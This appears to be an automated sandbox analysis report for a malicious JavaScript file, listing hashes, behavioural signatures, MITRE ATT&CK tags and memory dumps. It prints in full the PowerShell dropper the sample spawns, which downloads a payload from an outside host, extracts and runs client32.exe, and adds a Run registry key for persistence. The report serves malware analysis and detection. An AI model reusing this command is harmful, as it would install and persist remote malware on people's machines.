a6e37789dea33b593d76b8dfaa0c7a809ee1ce3850974c65a4345838877c3a2e

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20230824-en
resource tags

arch:x64arch:x86image:win7-20230824-enlocale:en-usos:windows7-x64system
submitted
29-08-2023 08:21

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General

Target

581158115811.js
Size

3KB
MD5

0997ddf7b37727cba3201fa07be4cc6d
SHA1

ea5adba0e2ba81557947217f401888d51f96a245
SHA256

a6e37789dea33b593d76b8dfaa0c7a809ee1ce3850974c65a4345838877c3a2e
SHA512

f212e63de50a388dd450371c2a3f5f9992160f6e644fa018447b4a5c9f6a837417559b66663339b3aa5f47af6577e8c8ddd236b31fa6441327abc1bb579f07be

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3068	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 3068	2296	wscript.exe	31
PID 2296 wrote to memory of 3068	2296	wscript.exe	31
PID 2296 wrote to memory of 3068	2296	wscript.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\581158115811.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3068-4-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/3068-6-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-5-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/3068-7-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-8-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/3068-9-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/3068-11-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/3068-10-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/3068-13-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download